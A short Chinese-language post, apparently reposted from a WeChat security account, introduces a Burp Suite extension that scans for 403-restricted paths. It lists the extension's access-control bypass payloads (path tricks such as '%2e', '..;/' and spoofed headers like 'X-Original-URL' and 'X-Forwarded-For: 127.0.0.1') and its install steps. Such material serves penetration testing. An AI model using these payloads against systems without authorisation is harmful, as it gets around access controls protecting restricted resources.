Burpsuite扩展绕过403受限目录

一个burpsuite扩展，用于绕过403受限制的目录。通过使用PassiveScan（默认启用），此扩展将自动扫描每个403请求，因此只需添加到burpsuite中即可。

下载链接：sting8k/BurpSuite_403Bypasser

payloads：$ 1：HOSTNAME $ 2：PATH

$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
$1/./$2/./
$1/$2anything -H "X-Original-URL: /$2" 
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1" 
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwarded-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/

安装

BurpSuite -> Extender

-> Extensions

-> Add

-> Extension Type: Python

-> Select file: 403bypasser.py

-> Next till Finish

扫码进交流群

原文始发于微信公众号（菜鸟学安全）：Burpsuite扩展绕过403受限目录